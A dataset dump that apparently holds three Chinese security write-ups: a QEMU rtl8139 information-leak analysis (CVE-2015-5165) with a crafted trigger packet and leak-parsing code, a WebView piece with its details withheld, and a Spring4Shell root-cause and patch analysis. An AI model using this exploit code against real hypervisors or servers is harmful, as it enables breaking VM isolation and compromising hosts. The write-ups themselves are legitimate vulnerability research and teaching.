text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
**作者：raycp**
**原文来自安全客：<https://www.anquanke.com/post/id/197637>**
CVE-2015-5165及CVE-2015-7504，很经典的一个qemu逃逸漏洞，想通过它来学习qemu的cve。篇幅的原因，先分析CVE-2015-5165。
## 环境搭建
首先是编译qemu：
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout bd80b59
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror
make
qemu的路径在`./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64`，`--enable-debug`保留了调试符号，可以源代码调试，很舒服。
接着是制作qemu虚拟机，包括两个部分一个是文件系统镜像，一个是内核。
可以使用`debootstrap`制作debian文件系统镜像。
安装`debootstrap`
sudo apt-get install debootstrap
参考[create-image.sh](https://github.com/google/syzkaller/blob/master/tools/create-image.sh)制作了一个2GB大小的rootfs.img镜像文件。
mkdir rootfs
sudo debootstrap --include=openssh-server,curl,tar,gcc,\
libc6-dev,time,strace,sudo,less,psmisc,\
selinux-utils,policycoreutils,checkpolicy,selinux-policy-default \
stretch rootfs
set -eux
# Set some defaults and enable promtless ssh to the machine for root.
sudo sed -i '/^root/ { s/:x:/::/ }' rootfs/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a rootfs/etc/inittab
#printf '\nauto enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a qemu/etc/network/interfaces
printf '\nallow-hotplug enp0s3\niface enp0s3 inet dhcp\n' | sudo tee -a rootfs/etc/network/interfaces
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a rootfs/etc/fstab
echo "kernel.printk = 7 4 1 3" | sudo tee -a rootfs/etc/sysctl.conf
echo 'debug.exception-trace = 0' | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_enable = 1" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.core.bpf_jit_harden = 2" | sudo tee -a rootfs/etc/sysctl.conf
echo "net.ipv4.ping_group_range = 0 65535" | sudo tee -a rootfs/etc/sysctl.conf
echo -en "127.0.0.1\tlocalhost\n" | sudo tee rootfs/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a rootfs/etc/resolve.conf
echo "ubuntu" | sudo tee rootfs/etc/hostname
sudo mkdir -p rootfs/root/.ssh/
rm -rf ssh
mkdir -p ssh
ssh-keygen -f ssh/id_rsa -t rsa -N ''
cat ssh/id_rsa.pub | sudo tee rootfs/root/.ssh/authorized_keys
# Build a disk image
dd if=/dev/zero of=rootfs.img bs=1M seek=2047 count=1
sudo mkfs.ext4 -F rootfs.img
sudo mkdir -p /mnt/rootfs
sudo mount -o loop rootfs.img /mnt/rootfs
sudo cp -a rootfs/. /mnt/rootfs/.
sudo umount /mnt/rootfs
然后是编译内核，对应的内核文件路径为`./linux-5.2.11/arch/x86/boot/bzImage`：
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.2.11.tar.xz -O linux-5.2.11.tar.xz
tar -xvf linux-5.2.11.tar.xz
make defconfig
make kvmconfig
#编辑 .config 文件， 将 CONFIG_8139CP=y 和 CONFIG_PCNET32=y 打开
make -j4
要确保下面两个配置选项是打开的， 否则系统启动的时候会出现发现启动网卡的错误，因为对应的网卡驱动没有编译进去。
CONFIG_8139CP=y , rtl8139 驱动
CONFIG_PCNET32=y , pcnet 驱动
然后使用下面的`launch.sh`就可以启动虚拟机了，因为将`22`端口转发到了本地的`10021`端口，所以可以通过`ssh -i
./ssh/id_rsa -p 10021 root@localhost`，登进去虚拟机对虚拟机进行管理，以及通过`scp`传递文件。
$ cat launch.sh
#!/bin/sh
./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 \
-kernel ./linux-5.2.11/arch/x86/boot/bzImage \
-append "console=ttyS0 root=/dev/sda rw" \
-hda ./rootfs.img \
-enable-kvm -m 2G -nographic \
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
-netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \
-net user,hostfwd=tcp::10021-:22 -net nic
## 漏洞分析
在开始漏洞分析之前需要先介绍下`rtl8139`的部分寄存器，与漏洞相关部分如下：
+---------------------------+----------------------------+
0x00 | MAC0 | MAR0 |
+---------------------------+----------------------------+
0x10 | TxStatus0 |
+--------------------------------------------------------+
0x20 | TxAddr0 |
+-------------------+-------+----------------------------+
0x30 | RxBuf |ChipCmd| |
+-------------+------+------+----------------------------+
0x40 | TxConfig | RxConfig | ... |
+-------------+-------------+----------------------------+
| |
| skipping irrelevant registers |
| |
+---------------------------+--+------+------------------+
0xd0 | ... | |TxPoll| ... |
+-------+------+------------+--+------+--+---------------+
0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |
+-------+------+------------+------------+---------------+
其在qemu中对应的结构体为`RTL8139State`，其中比较关键的部分如下：
* `TxConfig`：开启/关闭Tx的标记，包括TxLoopBack （开启loopback测试模式）以及TxCRC (Tx包是否添加校验码)。
* `RxConfig`：开启/关闭Rx的标记，比如AcceptBroadcast（接收广播包）， AcceptMulticast（接收组播包）等。
* `CpCmd`：C+指令寄存器用来执行一些函数，比如 CplusRxEnd（允许接收），CplusTxEnd（允许发送）等。
* `TxAddr0`：Tx表的物理内存地址。
* `RxRingAddrLO`：Rx表的物理内存地址的低32位。
* `RxRingAddrHI`：Rx表的物理内存地址的高32位。
* `TxPoll`：告诉网卡检查Tx缓冲区。
经过对代码的学习，知道了Tx缓冲区是网卡的发送数据缓冲区，而Rx缓冲区则是接收数据缓冲区。Tx表以及Rx表为一个16字节结构体大小的数组，该表中的`rtl8139_desc`包含缓冲区的具体位置，定义如下：
struct rtl8139_ring {
struct rtl8139_desc *desc;
void *buffer;
};
其中Rx/Tx-descriptor定义如下，`dw0`中包含一些标志位，`buf_lo`和`buf_hi`表示Tx/Rx缓冲的物理内存地址的低32位和高32位，这些地址指向存储要发送/接收的包的缓冲区，必须与页面大小对齐：
struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};
`rtl8139`网卡对应的文件在`/hw/net/rtl8139.c`中，首先是漏洞关键部分代码，在函数`rtl8139_cplus_transmit_one`中，该函数更多的是和tx寄存器相关，发送的数据是Tx缓冲区中的数据（可控），检查的相关标志位为txdw0：
uint8_t *saved_buffer = s->cplus_txbuffer;
int saved_size = s->cplus_txbuffer_offset;
int saved_buffer_len = s->cplus_txbuffer_len;
...
if (txdw0 & (CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN))
{
DPRINTF("+++ C+ mode offloaded task checksum\n");
/* ip packet header */
ip_header *ip = NULL;
int hlen = 0;
uint8_t ip_protocol = 0;
uint16_t ip_data_len = 0;
uint8_t *eth_payload_data = NULL;
size_t eth_payload_len = 0;
int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
if (proto == ETH_P_IP)
{
DPRINTF("+++ C+ mode has IP packet\n");
/* not aligned */
eth_payload_data = saved_buffer + ETH_HLEN;
eth_payload_len = saved_size - ETH_HLEN;
ip = (ip_header*)eth_payload_data;
if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
DPRINTF("+++ C+ mode packet has bad IP version %d "
"expected %d\n", IP_HEADER_VERSION(ip),
IP_HEADER_VERSION_4);
ip = NULL;
} else {
hlen = IP_HEADER_LENGTH(ip);
ip_protocol = ip->ip_p;
ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
}
}
漏洞的关键代码为`ip_data_len = be16_to_cpu(ip->ip_len) -hlen`，没有对`ip->ip_len`的长度以及`hlen`进行检查，`hlen`为20，当`be16_to_cpu(ip->ip_len)`小于20时，会导致`ip_data_len`为负数。因为`ip_data_len`的变量类型为`uint16_t`，所以会在最后发送ip数据包时将负数当成正数来发送，导致多余的数据泄露出来。
下面先看当`ip_data_len`为负数时，数据时如何泄露出来的，关键代码如下：
...
/* pointer to TCP header */
tcp_header *p_tcp_hdr = (tcp_header*)(eth_payload_data + hlen);
/* ETH_MTU = ip header len + tcp header len + payload */
int tcp_data_len = ip_data_len - tcp_hlen;
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
...
/* note the cycle below overwrites IP header data,
but restores it from saved_ip_header before sending packet */
int is_last_frame = 0;
for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size)
{
uint16_t chunk_size = tcp_chunk_size;
/* check if this is the last frame */
if (tcp_send_offset + tcp_chunk_size >= tcp_data_len)
{
is_last_frame = 1;
chunk_size = tcp_data_len - tcp_send_offset;
}
...
if (tcp_send_offset)
{
memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);
}
...
rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
0, (uint8_t *) dot1q_buffer);
可以看到因为eth包最大的发包长度有限，所以会将tcp数据按长度进行切割，每次发送固定长度的数据包，因为`ip_data_len`已经被覆盖成了负数（最大可为65535），因此后面的代码`memcpy((uint8_t*)p_tcp_hdr
+ tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset,
chunk_size);`会将`p_tcp_hdr`正常的数据以外的额外的数据拷贝出来，通过`rtl8139_transfer_frame`发送出去。
再看`rtl8139_transfer_frame`函数，当Tx寄存器包含`TxLoopBack`标志位时，程序会调用`rtl8139_do_receive`函数降数据回发送回给自己：
static void rtl8139_transfer_frame(RTL8139State *s, uint8_t *buf, int size,
int do_interrupt, const uint8_t *dot1q_buf)
{
...
if (TxLoopBack == (s->TxConfig & TxLoopBack))
{
...
DPRINTF("+++ transmit loopback mode\n");
rtl8139_do_receive(qemu_get_queue(s->nic), buf, size, do_interrupt);
...
}
}
...
}
去看`rtl8139_do_receive`函数，当发送包（buf）的目标mac地址与网卡的地址一致且Rx寄存器标志位包含`AcceptMyPhys`标志时，会将发送出来的数据保存到相应的Rx缓冲区中，对应的代码为`pci_dma_write(d,
rx_addr, buf, size)`，`rx_addr`为相应的`Rx-descriptor`中`buf_LO`与`buf_HI`组成的物理地址：
static ssize_t rtl8139_do_receive(NetClientState *nc, const uint8_t *buf, size_t size_, int do_interrupt)
{
...
/* XXX: check this */
if (s->RxConfig & AcceptAllPhys) {
/* promiscuous: receive all */
...
} else {
...
//发送包的目标mac地址与网卡地址对比
} else if (s->phys[0] == buf[0] &&
s->phys[1] == buf[1] &&
s->phys[2] == buf[2] &&
s->phys[3] == buf[3] &&
s->phys[4] == buf[4] &&
s->phys[5] == buf[5]) {
/* match */
if (!(s->RxConfig & AcceptMyPhys))
{
DPRINTF(">>> rejecting physical address matching packet\n");
/* update tally counter */
++s->tally_counters.RxERR;
return size;
}
...
}
}
...
if (rtl8139_cp_receiver_enabled(s))
{
if (!rtl8139_cp_rx_valid(s)) {
return size;
}
DPRINTF("in C+ Rx mode ================\n");
...
int descriptor = s->currCPlusRxDesc;
dma_addr_t cplus_rx_ring_desc;
cplus_rx_ring_desc = rtl8139_addr64(s->RxRingAddrLO, s->RxRingAddrHI);
cplus_rx_ring_desc += 16 * descriptor;
DPRINTF("+++ C+ mode reading RX descriptor %d from host memory at "
"%08x %08x = "DMA_ADDR_FMT"\n", descriptor, s->RxRingAddrHI,
s->RxRingAddrLO, cplus_rx_ring_desc);
uint32_t val, rxdw0,rxdw1,rxbufLO,rxbufHI;
pci_dma_read(d, cplus_rx_ring_desc, &val, 4);
rxdw0 = le32_to_cpu(val);
pci_dma_read(d, cplus_rx_ring_desc+4, &val, 4);
rxdw1 = le32_to_cpu(val);
pci_dma_read(d, cplus_rx_ring_desc+8, &val, 4);
rxbufLO = le32_to_cpu(val);
pci_dma_read(d, cplus_rx_ring_desc+12, &val, 4);
rxbufHI = le32_to_cpu(val);
DPRINTF("+++ C+ mode RX descriptor %d %08x %08x %08x %08x\n",
descriptor, rxdw0, rxdw1, rxbufLO, rxbufHI);
if (!(rxdw0 & CP_RX_OWN))
{
...
}
uint32_t rx_space = rxdw0 & CP_RX_BUFFER_SIZE_MASK;
...
dma_addr_t rx_addr = rtl8139_addr64(rxbufLO, rxbufHI);
/* receive/copy to target memory */
if (dot1q_buf) {
...
} else {
pci_dma_write(d, rx_addr, buf, size);
}
...
}
到此漏洞的原理可以大致弄清楚了：tx缓冲区中包含了要发送的数据包，在发送的过程中，因为没有对`ip->ip_len`进行检查，导致程序判定tcp的数据包长度超出了原有的长度，因此会将数据包进行切割将数据发送出去，导致了非预期的信息泄露；同时当Tx标志位包含`TxLoopBack`时，会将数据包发送给自己的网卡并且发送数据的mac地址为自身网卡以及rx标志位包含`AcceptAllPhys`时会将相应的数据保存到rx缓冲区中，因此构造好相应的数据我们就可以从rx缓冲区的数据中读取到信息泄露的数据。
### 流程分析
弄清楚了漏洞原理后，想进一步分析看如何才能够构造好相应的网卡以及触发漏洞，因此对该网卡进行一定的分析。
`apt-get install pciutils`安装`lspci`工具，然后查看pci设备：
root@ubuntu:~# lspci
...
00:04.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 20)
root@ubuntu:~# lspci -v -s 00:04.0
00:04.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 20)
Subsystem: Red Hat, Inc QEMU Virtual Machine
Flags: bus master, fast devsel, latency 0, IRQ 11
I/O ports at c000 [size=256]
Memory at febf1000 (32-bit, non-prefetchable) [size=256]
Expansion ROM at feb40000 [disabled] [size=256K]
Kernel driver in use: 8139cp
lspci: Unable to load libkmod resources: error -12
pmio空间对应的端口地址为`0xc000`，大小为256。
再去看网卡的`realize`函数：
static void pci_rtl8139_realize(PCIDevice *dev, Error **errp)
{
...
memory_region_init_io(&s->bar_io, OBJECT(s), &rtl8139_io_ops, s,
"rtl8139", 0x100);
...
}
可以看到pmio对应的操作为`rtl8139_io_ops`，其定义如下：
static const MemoryRegionOps rtl8139_io_ops = {
.read = rtl8139_ioport_read,
.write = rtl8139_ioport_write,
.impl = {
.min_access_size = 1,
.max_access_size = 4,
},
.endianness = DEVICE_LITTLE_ENDIAN,
};
要设置网卡更多的关键为`rtl8139_ioport_write`，根据size的大小分成了`writeb`、`writew`以及`writel`函数，每个函数中根据addr可以设置网卡相应寄存器的值：
static void rtl8139_ioport_write(void *opaque, hwaddr addr,
uint64_t val, unsigned size)
{
switch (size) {
case 1:
rtl8139_io_writeb(opaque, addr, val);
break;
case 2:
rtl8139_io_writew(opaque, addr, val);
break;
case 4:
rtl8139_io_writel(opaque, addr, val);
break;
}
}
然后去看漏洞函数调用路径，寻找如何触发漏洞。
漏洞函数为`rtl8139_cplus_transmit_one`，查看它的引用：
static void rtl8139_cplus_transmit(RTL8139State *s)
{
int txcount = 0;
while (rtl8139_cplus_transmit_one(s))
{
++txcount;
}
...
}
再看`rtl8139_cplus_transmit`的引用：
static void rtl8139_io_writeb(void *opaque, uint8_t addr, uint32_t val)
{
...
switch (addr)
{
...
case TxPoll:
DPRINTF("C+ TxPoll write(b) val=0x%02x\n", val);
if (val & (1 << 7))
{
DPRINTF("C+ TxPoll high priority transmission (not "
"implemented)\n");
//rtl8139_cplus_transmit(s);
}
if (val & (1 << 6))
{
DPRINTF("C+ TxPoll normal priority transmission\n");
rtl8139_cplus_transmit(s);
}
break;
...
}
}
可以看到`rtl8139_io_writeb`函数调用了`rtl8139_cplus_transmit`函数，当addr为`TxPoll`且value为`1<<6`时，触发对`rtl8139_cplus_transmi`函数，也就对应上了前面说的`TxPoll`的功能为告诉网卡检查Tx缓冲区。
还有一些寄存器的设置，包括Tx/Rx
表的设置以及Tx/RxConfig寄存器的设置，也都可以相应的在`rtl8139_ioport_write`函数中找到对应的配置。
## 漏洞利用
利用包含五个部分：
* 恶意网卡发送数据包的构造
* 网卡寄存器的配置
* 网卡发送缓冲区的配置
* 网卡接收缓冲区的配置
* 泄露信息的分析
首先是恶意网卡发送数据包的构造，`rtl8139_cplus_transmit_one`函数中处理的数据是Tx发送缓冲区中的数据。一个数据包是以太网帧，其相关格式如下：
比较关键的点在于目的地址，因为后面会判断mac地址与自身mac地址是否相等，因此需要将目的地址设置成网卡的mac地址`52:54:00:12:34:57`：
root@ubuntu:~# ifconfig -a
...
enp0s4: flags=4098<BROADCAST,MULTICAST> mtu 1500
ether 52:54:00:12:34:57 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
还需要将类型设置成`0x0800`即IP包。
下一层数据包为IP数据包格式，格式如下：
在这个包中需要构造的就是16位总长度了，`#define IP_HEADER_LENGTH(ip) (((ip->ip_ver_len)&0xf) <<
2)`的长度为`5<<2`是20，因此需要构造`ip->ip_len`长度为`19(0x13)`，实现了漏洞构造`ip_data_len`为`0xffff`。
hlen = IP_HEADER_LENGTH(ip);
ip_protocol = ip->ip_p;
ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
最后是一个tcp数据包，tcp数据包没有什么需要特别构造的，正常构造即可。
最后构造出来的`packet`数据如下：
/* malformed ip packet with corrupted header size */
uint8_t malformed_eth_packet[]={
0x52, 0x54, 0x00, 0x12, 0x34, 0x57, 0x52, 0x54, 0x00, 0x12, 0x34, 0x57, // 6 bytes dst mac addr, 6 bytes src mac addr
0x08, 0x00, 0x45, 0x00, 0x00, 0x13, 0xde, 0xad, 0x40, 0x00, 0x40, 0x06, // 2 bytes type, 0x0800 is ip, one byte (4 bits ip version, 4 bits ip header len), one bytes TOS, 2 bytes total len(0x0013, 0x13-0x5<<2=0xffff which will cause vuln), 2 bytes id, 2 bytes fragment offsets, one bytes ttl, one byte protocol(6 means IP protocol)
0xff, 0xff, 0x7f, 0x00, 0x00, 0x01, 0x7f, 0x00, 0x00, 0x01, 0x04, 0x00, // 2 bytes checksum, 4 bytes src ip addr, 4 bytes dst ip addr, 2 bytes src port
0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x10, // 2 bytes dst port, 4 bytes serial number, 4 bytes ack number, 2 bytes len(4 bits tcp header len)
0x00, 0x00, 0xff, 0xff, 0x00, 0x00// 2 bytes window size, 2 bytes checksum, 2 bytes urge pointer
};
第二部分是网卡寄存器的配置，主要是为了能够成功触发漏洞与泄露信息，需要配置网卡。包括为了开启`transmitter`以及`receiver`，需要配置`bChipCmdState`为`CmdTxEnb`以及`CmdRxEnb`；为了开启`cp_transmitter`以及`cp_receiver`，需要配置`CpCmd`为`CPlusTxEnb`以及`CPlusRxEnb`；还需要配置`TxConfig`为`TxLoopBack`以及配置`RxConfig`为`AcceptMyPhys`。
第三部分则是配置Tx发送缓冲区，主要是配置`TxAddr0`，设置Tx表的地址。申请好空间，构造好`Tx
descriptor`，将恶意网卡数据的地址填到相应的`buf_LO`以及`buf_HI`中。这两个地址都是需要相应的物理地址，需要实现虚拟地址到物理地址的转换。
第四部分是配置Rx接收缓冲区，主要是配置`RxRingAddrLO`以及`RxRingAddrHI`，设置Rx表的地址。因为泄露的信息约为64kb数据，需要申请44个Rx接收缓冲区来保存数据。
最后是信息泄露的分析，如何从泄露出来的数据得到包括程序的基址等有效的信息。可以像phrack文章中写的一样，通过二分法找到`struct
ObjectProperty`结构体内存。参考了[dangokyo](https://dangokyo.me/2018/03/08/qemu-escape-part-3-information-leakage-cve-2015-5165/)的exp，通过比对泄露出来地址的低12位以及最高位可以确定出程序基址。
typedef struct ObjectProperty
{
gchar *name;
gchar *type;
gchar *description;
ObjectPropertyAccessor *get;
ObjectPropertyAccessor *set;
ObjectPropertyResolve *resolve;
ObjectPropertyRelease *release;
void *opaque;
QTAILQ_ENTRY(ObjectProperty) node;
} ObjectProperty;
uint64_t qemu_search_text_base(void* ptr, size_t size)
{
size_t i;
uint64_t property_get_bool_offset = 0x36bacd;
uint64_t *int_ptr, addr, text_base =0;
for (i=0; i<size-8; i+=8) {
int_ptr=(uint64_t*)(ptr+i);
addr=*int_ptr;
if( ((addr & 0xfffff00000000000) == 0x500000000000)
&& (( (addr - property_get_bool_offset) & 0xfff ) == 0) )
{
text_base = addr - property_get_bool_offset;
break;
}
}
return text_base;
}
同时还需要泄露qemu为虚拟机所分配的进程内存的地址，即下表的`0x7f7a04000000`：
0x7f7a04000000 0x7f7a84000000 rw-p 80000000 0
0x7f7a84000000 0x7f7a8476e000 rw-p 76e000 0
经过分析，泄露出来的数据最高位为0x7的好像都为`0x7f7a84000000`内存块中的数据，因此可以通过偏移得到虚拟机物理内存所对应的地址`PHY_MEM`：
uint64_t qemu_search_phy_base(void *ptr, size_t size)
{
size_t i;
uint64_t *int_ptr, addr, phy_base = 0;
for (i = 0; i < size-8; i += 8)
{
int_ptr = (uint64_t*)(ptr+i);
addr = *int_ptr;
if((addr & 0xfffff00000000000) == 0x700000000000)
{
addr = addr & 0xffffffffff000000;
phy_base = addr - 0x80000000;
break;
}
}
return phy_base;
}
最后是泄露`heap`的基址，我在里面找了一些堆的基址，通过偏移来确定来`heap`的地址。：
uint64_t qemu_search_heap_base(void *ptr, size_t size, uint64_t text_base)
{
size_t i;
size_t j;
uint64_t *int_ptr, addr, heap_base = 0;
uint64_t target_offset[] = {0x4a7c0, 0x1470208, 0x1765d70, 0xd3c748, 0xe883b8};
for (i = 0; i < size-8; i += 8)
{
int_ptr = (uint64_t*)(ptr+i);
addr = *int_ptr;
//printf("i: %d 0x%lx\n",i, addr);
if((addr & 0xffff00000000) == (text_base & 0xffff00000000) && addr!=0) {
if( (addr - text_base) > 0xd5c000) {
for(j = 0; j < sizeof(target_offset)/sizeof(int64_t); j++) {
if(((addr -target_offset[j])&0xfff) == 0) {
heap_base = addr - target_offset[j];
break;
}
}
}
}
if(heap_base != 0)
break;
}
return heap_base;
}
## 小结
真实的漏洞还是比之前ctf题目稍微复杂一些，调起来还是有收获。
相关文件以及脚本[链接](https://github.com/ray-cp/vm-escape/tree/master/qemu-escape/cve-2015-5165_and_cve-2015-7504)
## 参考链接
1. [虚拟机逃逸——QEMU的案例分析（一）](https://bbs.pediy.com/thread-217997.htm)
2. [虚拟机逃逸——QEMU的案例分析（二）](https://bbs.pediy.com/thread-217999.htm)
3. [前往黑暗之门！Debugee in QEMU](https://www.anquanke.com/post/id/86636)
4. [VM escape–QEMU Case Study](http://www.phrack.org/papers/vm-escape-qemu-case-study.html)
5. [QEMU escape: Part 3 Information Leakage (CVE-2015-5165)](https://dangokyo.me/2018/03/08/qemu-escape-part-3-information-leakage-cve-2015-5165/)
6. [Setup: Ubuntu host, QEMU vm, x86-64 kernel](https://github.com/google/syzkaller/blob/master/docs/linux/setup_ubuntu-host_qemu-vm_x86-64-kernel.md)
* * * | 社区文章 |
### Author: Dlive@天枢&MMSL Team
===========================================
##### 内容隐藏（考虑到部分厂商还未修复该问题，涉及技术过程展示隐藏，后续会放出来，望理解。 技术分享永不止步！共勉！）
===========================================
##### 0x06 参考
1. 关于Android平台WebView控件存在跨域访问高危漏洞的安全公告
[http://www.cnvd.org.cn/webinfo/show/4365?from=timeline&isappinstalled=0](http://www.cnvd.org.cn/webinfo/show/4365?from=timeline&isappinstalled=0)
2. “应用克隆”攻击模型
<https://mp.weixin.qq.com/s/pQqOLQS_hWfv8btYpYK1xQ>
3. Android安全开发之浅谈网页打开APP
<https://yq.aliyun.com/articles/57088>
4. Webview跨源攻击分析
<http://blogs.360.cn/360mobile/2014/09/22/webview%E8%B7%A8%E6%BA%90%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/>
5. Attack Your Android Apps By Webview
<http://blog.knownsec.com/2013/03/attack-your-android-apps-by-webview/>
6. Andorid Intent 与 Chrome
<https://developer.chrome.com/multidevice/android/intents?spm=5176.100239.blogcont57088.9.1c29be50KIPvAG> | 社区文章 |
# 环境
jdk 9+
tomcat 8.0.53
spring 5.3.17
# 正文
## demo代码
User.java
class User {
private String username;
User() {
}
public String getUsername() {
return this.username;
}
public void setUsername(String username) {
this.username = username;
}
}
IndexController.java
@Controller
public class IndexController {
@RequestMapping("/")
public String test(User user) {
return "ok";
}
}
## 漏洞成因
### 调用栈分析
先上调用栈。
getPropertyDescriptor:391, CachedIntrospectionResults (org.springframework.beans)
getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)
processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)
resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)
invokeAndHandle:117, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation)
invokeHandlerMethod:895, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch:1067, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doPost:909, FrameworkServlet (org.springframework.web.servlet)
service:661, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:742, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:198, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:496, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:140, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:650, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:342, CoyoteAdapter (org.apache.catalina.connector)
service:803, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:790, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1459, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1167, ThreadPoolExecutor (java.util.concurrent)
run:641, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:844, Thread (java.lang)
上述调用栈是spring对传入参数进行解析并和接口设置的javabean的所属类对应属性进行对比的代码实现过程，如存在则注入对应参数值。
在这之前的调用都是spring本身实现这个功能的代码，如感兴趣可以根据调用链查看对应逻辑，不一一赘述。
这里只分析对传入参数和javabean属性对比的核心逻辑如何产生漏洞的成因。
org.springframework.beans.CachedIntrospectionResults#getPropertyDescriptor
从下图debug过程截图可以看出这里是的name参数是从post请求参数分解出的属性值，
入参为class.module.classLoader.resources.context.parent.pipeline.first.suffix，
spring以"."为分割符解析出第一个对比属性为"class"。
这里使用了get方法对比class属性是否存在于org.springframework.beans.CachedIntrospectionResults#propertyDescriptors这个变量中，如存在则获取对应实例，进行后续的参数注入操作。
那么，propertyDescriptors这个变量的值是从哪里获取的呢？
查看org.springframework.beans.CachedIntrospectionResults类的构造方法可以发现进行了put操作，此处下断点发现是解析User类的属性描述获取的。这里虽然对属性做了检查，不过是只限制了class类的classLoader属性，使用module调用classLoader属性就绕过了这里的检查。
PropertyDescriptor[] pds = this.beanInfo.getPropertyDescriptors();
这里原本的目的是获取bean的属性，而java类存在一个特性，存在内置的class属性，用于存储类实例，即开发中常用到的User.class这样的引用就是调用了这个属性。
获取到的class实例被作为属性进行属性注入操作，存入了org.springframework.beans.CachedIntrospectionResults#propertyDescriptors。
后续的调用则是迭代class属性,获取对应实例，从而完成变量注入操作修改Tomcat access log配置。
而要求jdk
9+的原因主要低版本的jdk的class类不存在module属性，从而导致网传payload无法利用。从这个原理上看，如果能找到新的属性应该可以扩大影响范围。
# 修复
spring 5.3.18版本
org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults
从上图可以看出在解析获取实例的属性值后，做了属性类型是否是ClassLoader.class和ProtectionDomain.class子类的判断进行防御。
(Class.class != beanClass || "name".equals(pd.getName()) ||
pd.getName().endsWith("Name")) && (pd.getPropertyType() == null ||
!ClassLoader.class.isAssignableFrom(pd.getPropertyType()) &&
!ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))
# 总结
分析完这个漏洞之后，反思这个漏洞成因的本质就是两个java较为常见的常识的组合应用，形成的巧妙效果。
1.java 内置class属性
2.spring 的javabean的属性注入特性
